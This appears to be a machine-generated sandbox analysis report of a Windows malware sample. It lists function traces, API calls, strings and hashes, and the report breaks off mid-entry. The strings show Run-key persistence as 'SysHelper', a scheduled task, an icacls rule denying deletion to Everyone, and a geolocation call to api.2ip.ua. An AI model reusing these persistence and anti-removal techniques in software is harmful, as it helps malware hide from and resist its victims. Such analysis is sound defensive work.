API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: e01222151e26bec0fc87c48de443ec184d47e83f53fc21091249f6dd2916311a
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 95D067B5D0020CBBCF04EFA5E459CDDBBB8AA04344B0084A6A95497241EA74E389CF95

Uniqueness

Uniqueness Score: -1.00%

Function 05E1D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E3197D: __wfsopen.LIBCMT ref: 05E31988

_fgetws.LIBCMT ref: 05E1D15C

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: af1e39e0e9695351ec7ae3cc273587d72982d8bd909f3cde98ab5f18c27e54f1
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 6891E671E00319ABDF20DFA4CE49BAEB7B5BF04314F142529EC95A7240E775AA04CB99

Uniqueness

Uniqueness Score: -1.00%

Function 05E1D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E1D77E
_malloc.LIBCMT ref: 05E1D7B2
_malloc.LIBCMT ref: 05E1D7C1
_fprintf.LIBCMT ref: 05E1D815

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: df046d1b0ca251cc329672e6cb3fe881bfb7f0854d22c1d274b9f6f3de29e8e2
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 04A19EB1D00258EBEF11EFE4CC4ABDEBB75AF14304F141028D5857B291E7B65A48CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E32AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E32B2E
__read_nolock.LIBCMT ref: 05E32BFE
__filbuf.LIBCMT ref: 05E32C21
_memset.LIBCMT ref: 05E32C65

Part of subcall function 05E35BA8: __getptd_noexit.LIBCMT ref: 05E35BA8

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 1bc506abcd28d428994f802e62bce601147d5deb36639792025e1e87c631d92e
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 5351E938B043059BEB25CF79888E5AE77B7BF40324F149369EAF6962E0D7719950CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05E51359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E5137D

Part of subcall function 05E51A9D: __fltout2.LIBCMT ref: 05E51AC6

__cftog_l.LIBCMT ref: 05E513A3
__cftoe_l.LIBCMT ref: 05E513D5

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: da2156e6d574ad48b0df963f2d39612fdddcab07667564be96c8dc231952752f
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 4001393680414ABBCF1A5E84DC15DEE3F62BB19268B499415FE9958420D236C5B1EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05ED7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05ED7A4B

Part of subcall function 05ED8140: ___BuildCatchObjectHelper.LIBCMT ref: 05ED8172
Part of subcall function 05ED8140: ___AdjustPointer.LIBCMT ref: 05ED8189

_UnwindNestedFrames.LIBCMT ref: 05ED7A62
___FrameUnwindToState.LIBCMT ref: 05ED7A74
CallCatchBlock.LIBCMT ref: 05ED7A98

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: be3199efad717f8550aff31cc9229f93931ca269543f014360810e0fb4914ce7
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: EC014C32500109BBDF12AF55CD04EEABFBAFF48758F159014FD9866120D336E962DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SUwX12D2S6.exePID: 7276, Parent PID: 7260COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.9%
Total number of Nodes:	829
Total number of Limit Nodes:	23

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0080B3C0,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

x*P, xrefs: 0041ACE4
X1P, xrefs: 0041A485
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
IsTask, xrefs: 0041A1EE, 0041A299
--ForNetRes, xrefs: 0041A22E
IsNotAutoStart, xrefs: 0041A645
D:\Windows\, xrefs: 0041AFF3
runas, xrefs: 0041A6CE
--AutoStart, xrefs: 0041A2EC
I:\5d2860c89d774.jpg, xrefs: 0041B32F
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
F:\, xrefs: 0041B397
IsAutoStart, xrefs: 0041A1D0, 0041A273
--Admin, xrefs: 0041A1B4, 0041A632
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
IsNotTask, xrefs: 0041A654
C:\Windows\, xrefs: 0041AE0F
<, xrefs: 0041A67B
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
list<T> too long, xrefs: 0041B669, 0041B673
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
7P, xrefs: 0041B164
x2Q, xrefs: 0041A856
--Service, xrefs: 0041A30B
D:\Program Files (x86)\Google\, xrefs: 0041B085
%username%, xrefs: 0041B283
--Task, xrefs: 0041A2CD
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
C:\Program Files\Google\, xrefs: 0041AFB9
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Trigger1, xrefs: 0040D6FA
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Author Name, xrefs: 0040D4C8
2030-05-02T08:00:00, xrefs: 0040D737
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
--Task, xrefs: 0040D8DD
Time Trigger Task, xrefs: 0040D43C, 0040D973
PT5M, xrefs: 0040D5A1, 0040D66C

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SHGetFolderPathW, xrefs: 00411E9F
" --AutoStart, xrefs: 00411DD1
" --AutoStart, xrefs: 004120C2
SysHelper, xrefs: 00411D5B, 004120EB
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
Shell32.dll, xrefs: 00411E94
icacls ", xrefs: 0041214C
D, xrefs: 00412128
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
